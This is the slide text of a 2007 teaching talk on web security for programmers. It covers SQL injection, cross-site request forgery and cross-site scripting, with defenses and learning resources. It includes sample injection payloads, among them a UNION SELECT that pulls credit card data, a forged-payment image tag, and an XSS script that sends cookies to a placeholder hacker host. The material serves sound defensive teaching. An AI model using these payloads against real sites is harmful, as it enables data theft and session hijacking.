“What Every Programmer Needs To Know About Security and Where To Learn It” Neil Daswani October 2007 neildaswani/

1. “What Every ProgrammerNeeds To Know About Security and Where To Learn It” Neil Daswani October 2007 http://www.neildaswani.com/

2. Is the sky falling? • TJX (March 2007) • owns TJ Maxx, Marshalls, and other dept stores • attacks exploited WEP used at branches • over 47 million credit card (CC) #s dating back to 2002 • CardSystems (June 2005) • credit card payment processing company: out of business • 263,000 CC #s stolen from database via SQL Injection • 43 million CC #s stored unencrypted / compromised • Enter “sql injection” on news.google.com for more... • Additional Data Theft:www.privacyrights.org/ar/ChronDataBreaches.htm(153M compromised records; over 300 incidents in 2006 alone)

3. Overview • High-Impact Threats & Defenses:SQL Injection and XSRF(Do not try these attacks on real sites!) • Vulnerability Trends • Where To Learn More:Courses/Certifications, Books, Websites

4. SQL Injection Example Web Browser Web Server Database Username & Password Normal Query SELECT passwd FROM USERS WHERE uname IS ‘$username’

5. SQL Injection Example Attacker Provides This Input

6. SQL Injection Example Web Browser Web Server Database Username & Password Malicious Query SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLEUSERS; -- ' Eliminates all user accounts

7. http://xkcd.com/327/

8. SQL Injection Example View pizza order history:<br> <form method="post" action="..."> Month <select> <option name="month" value="1">Jan</option> ... <option name="month" value="12">Dec</option> </select> <p> <input type=submit name=submit value=View> </form>

9. SQL Injection Example Normal SQL Query SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Type 2 Attack For order_month parameter, attacker could input 0 OR 1=1 WHERE condition is always true! Gives attacker access to other users’ private data! <option name="month" value=“0 OR 1=1">Dec</option> Malicious Query … WHERE userid=4123 AND order_month=0 OR 1=1

10. SQL Injection Example All User Data Compromised

11. SQL Injection Example A more damaging breach of user privacy: Attacker is able to • Combine the results of two queries • Empty table from first query with the sensitive credit card info of all users from second query For order_month parameter, attacker could input: 0 AND 1=0UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

12. SQL Injection Example Credit Card Info Compromised

13. Preventing SQL Injection • Whitelisting • Why? Blacklisting chars doesn’t work: • Forget to filter out some characters • Could prevent valid input (e.g. username O’Brien) • Allow well-defined set of safe values:[A-Za-z0-9]*[0-1][0-9] • Valid input set defined through reg. expressions • Can be implemented in a web application firewall(e.g., mod_security) • Escaping • For valid string inputs like username o’connor, use escape characters. Ex: escape(o’connor) = o’’connor (only works for string inputs)

14. Prepared Statements & Bind Variables PreparedStatement ps = db.prepareStatement( "SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt( request.getParameter("month"))); ResultSet res = ps.executeQuery(); • query parsed w/o parameters • bind variables are typed e.g. int, string, etc…* Bind Variables: Data Placeholders

15. Additional Mitigations What else helps? • Limit Privileges (Defense-in-Depth) • Harden DB Server and Host OS What else do I need to learn about SQL Injection? • Second Order SQL Injection • Blind SQL Injection

16. Threats • Unvalidated Input • SQL Injection • Cross-Site-Scripting (XSS) • Design Errors • Cross-Site-Request-Forgery (XSRF) • Boundary Conditions • Exception Handling • Access Validation

17. Cross-Site-RequestForgery (XSRF) Alice is using our (“good”) web-application: www.bank.com (assume user is logged in w/ cookie) At the same time (i.e. same browser session), she’s also visiting a “malicious” web-application: www.evil.org

18. /login.html Cookie: sessionid=40a4c04de /viewbalanceCookie: sessionid=40a4c04de “Your balance is $25,000” How XSRF Works bank.com Alice /authuname=victim&pass=fmd9032

19. /login.html /authuname=victim&pass=fmd9032 Cookie: sessionid=40a4c04de /evil.html <IMG SRC=http://bank.com/paybill?addr=123 evil st & amt=$10000> /paybill?addr=123 evil st, amt=$10000Cookie: sessionid=40a4c04de “OK. Payment Sent!” How XSRF Works bank.com evil.org Alice

20. XSRF: Write-only Malicious site can’t read info (due to same-origin policy), but can make write requests to our app! Can still cause damage • in Alice’s case, attacker gained control of her account with full read/write access! Who should worry about XSRF? • apps w/ user info, profiles (e.g., Facebook) • apps that do financial transactions for users • any app that stores user data

21. Yet Another XSRF: Home Routers [SRJ’07] • Fact:50% of home users use a broadband router with a default or no password • Drive-by Pharming attack: User visits malicious site • JavaScript at site scans home network looking for broadband router: • Same-Origin-Policy allows “send only” messages • Detect success using onerror: • <IMG SRC=192.168.0.1 onerror = do() > • Once found, login to router and change DNS server • Problem: “send-only” access is sufficient to reprogram router

22. Preventing XSRF • Inspecting Referer Headers • specifies the document originating the request • ok, but not practical since it could be forged or blanked (even by legitimate users) • Web Application Firewall • doesn’t work because request looks authentic to bank.com • Validation via User-Provided Secret • ask for current password for important transactions • Validation via “Action Token” • add special tokens to “genuine” forms to distinguish them from “forged” forms

23. Vulernability Trends (Overall/MITRE) 2006 2001

24. Overall Trends • Attacks are increasing • Big four are about the same (regardless of vuln database): • Cross-Site-Scripting (XSS, XSRF, XSSI) • Injection (SQL, PHP-includes) • Memory Corruption (buffer overflows, integer overflows, format strings, etc) • Denial-of-Service

25. What should I do? • Engineers • Developers • Programmers • Architects1) Arm yourself!2) Elect a security czar for each project

26. What Every EngineerNeeds To Know... • Secure Design: least privilege, fail-safe stance, weakest link, etc. • Technical Flaws: • XSS / XSRF / XSSI • Injection / Remote Code Execution • Directory Traversal • Race Conditions (e.g., TOCTOU) • Memory Corruption • Attacks: • Data Theft • Authentication / Authorization Bypass • Denial-of-Service • Privilege Escalation • Information Leakage

27. Where to learn more? • Courses • Certification Programs • Books • Websites(not comprehensive)

28. Security Courses • Cryptography Upper Division Courses(at almost every major university) • Some systems security courses(e.g., CS155 @ Stanford, CS161 @ UC Berkeley) • More crypto and security courses listed at:http://avirubin.com/courses.html

29. Stanford Advanced Security Certificate • Online (anytime) or On-Campus (one week) • Required: 3 core courses; 3 electives • Hands-on labs conducting attacks & constructing defenses • Security Foundations Certificate also available • http://proed.stanford.edu/?advancedsecurityto sign up!

30. Stanford Advanced Security Certificate • CORE COURSES • Using Cryptography Correctly • Writing Secure Code • Security Protocols • ELECTIVES • Computer Security Management – Recent Threats, Trends & the Law • Designing/Building Secure Networks • Emerging Threats and Defenses • Securing Web Applications • Systems Security • SPECIAL ELECTIVE • Computer Security Foundations Certificate

31. Other Security Certification Programs • CISSP (offered by ISC2) • prepares for administration / gov't jobs in security • credential can be used for PCI compliance • multiple-choice test • GIAC Secure Software Programmer(offered by SANS) • secure programming assessment • multiple choice (questions in development) • new offering: first exam was Aug 2007

32. Books • Foundations of Security:What Every Programmer Needs To Know(Daswani / Kern / Kesavan) • Security Engineering (Anderson) • Building Secure Software (Viega / McGraw) • Secure Programming Cookbook (Viega / Messier)

33. Websites • OWASP / Top Tenwww.owasp.org (chapters in almost every major city) • Security Focus / Bugtraqwww.securityfocus.com • code.google.com/edu

34. OWASP Top 10 2004 2007 • A1 Unvalidated Input • A2 Broken Access Control • A3 Broken Authentication / Session Mg • A4 Cross Site Scripting • A5 Buffer Overflow • A6 Injection Flaws • A7 Improper Error Handling • A8 Insecure Storage • A9 Application Denial of Service • A10 Insecure Configuration Management • A1 Cross Site Scripting (XSS) • A2 Injection Flaws (e.g., SQL injection) • A3 Malicious File Execution (i.e., PHP) • A4 Insecure Direct Object Reference • A5 Cross Site Request Forgery (CSRF) • A6 Information Leakage and Improper Error Handling • A7 Broken Authentication / Session Mgmt • A8 Insecure Cryptographic Storage • A9 Insecure Communications • A10 Failure to Restrict URL Access

35. Security Focus • www.securityfocus.com / Home of Bugtraq • Articles / Mailing Lists / Vuln. Reports • Focus areas: • Foundations • Microsoft / Unix • IDS • Incident Response • Viruses / Malware • Penetration Testing • Firewalls

36. code.google.com/edu: Web Security • Free & available for external use • Ex. DoS against web server

37. To conclude... • Every engineer should be a software security practitioner • We’re looking for some bright engineers!(application security, botnets, etc.) • Links / Pointers: http://www.learnsecurity.com/ Click on “Resources” • Neil Daswanidaswani@google.comhttp://www.neildaswani.com

38. Backup Slides Follow

39. Last Remarks • Interested in jobs?(software security, botnets, ...) • Items in the back: • Free books • Stanford Security Certification Brochures • Need security help / consulting?

40. Cross-Site Scripting (XSS) What if attacker can get a malicious script to be executed in our application?http://deliver-me-pizza.com/submit_order?addr=123mainst <input type=text name=addr value=123mainst> Ex: our app could have a query parameter in the URL and print it out on page • Suppose input data is not filtered • Attacker could inject a malicious script! Other Sources of Untrusted Data • HTML form fields • URL path (e.g. in a Document Not Found error)

41. XSS Example 1. Attacker tricks Alice into visiting his page. 2. Page loads URL of query to our app with this parameter injected: http://deliver-me-pizza.com/submit_order?addr= %3D%20%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C/script%3E%0A printed on our HTML source translates <script>alert(document.cookie);</script> 3. Any arbitrary script attacker chooses, can be executed on our application site! How much damage can the malicious script cause?

42. XSS Exploits Stealing Cookies • the malicious script could cause the browser to send attacker all cookies for our app’s domain. Ex: "><script>i=new Image(); i.src='http://www.hacker.com/sendmail.php?to=attacker@hacker.com&payload='+document.cookie;</script> • gives attacker full access to Alice’s session Scripting the Vulnerable App • complex script with specific goal • e.g. get personal user info, transfer funds, etc… • doesn’t have to make a direct attack, revealing his IP address, harder to trace Modifying Web Pages

43. Mitigating XSS Input Validation • XSS is not just a input validation problem • strings with HTML metachars not a problem until they’re displayed on the webpage • might be valid elsewhere, e.g. in a database Output Sanitization • check strings as they’re inserted into HTML doc HTML Escaping • escape some chars with their literals • e.g. & = &amp; < = &lt; > = &rt; “ = &quot; HTTP-Only Cookies • HTTPOnly attribute on cookie in IE prevents it from being exposed to client-side scripts • can prevent traditional session hijacking • incomplete protection

44. Cross-Domain Security Domain: where our applications and services are hosted Same-Origin-Policy (SOP): script is only allowed to connect back to the origin (domain,port,protocol) from which it was served Cross-domain: security threats due to interactions between our applications and pages on other domains

45. Vulnerability Trends(OS Vendors/MITRE) 2001 2006

46. Vulnerabilities Stats • Boundary Conditions • Exception Handling • Access Validation • Disclaimer on Categorization • Input Validation • Design Errors source: securityfocus vulnerability database

47. source: securityfocus vulnerability database

48. Prepared Statements & Bind Variables Metacharacters (e.g. ‘) in queries provide distinction between data & control Most attacks: data interpreted as control / alters the semantics of a query/cmd Bind Variables: ? placeholders guaranteed to be data (not control) Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query

49. Source: securityfocus vulnerability database

50. More XSRF Malicious site can initiate HTTP requests to our app on Alice’s behalf, w/o her knowledge • authentication cookies stored in browser cache are sent to our server regardless of who made the request Another Example: change password feature on our app (“update_password”) • Hacker site could execute a script to send a fake password-change request • authenticates b/c cookies are sent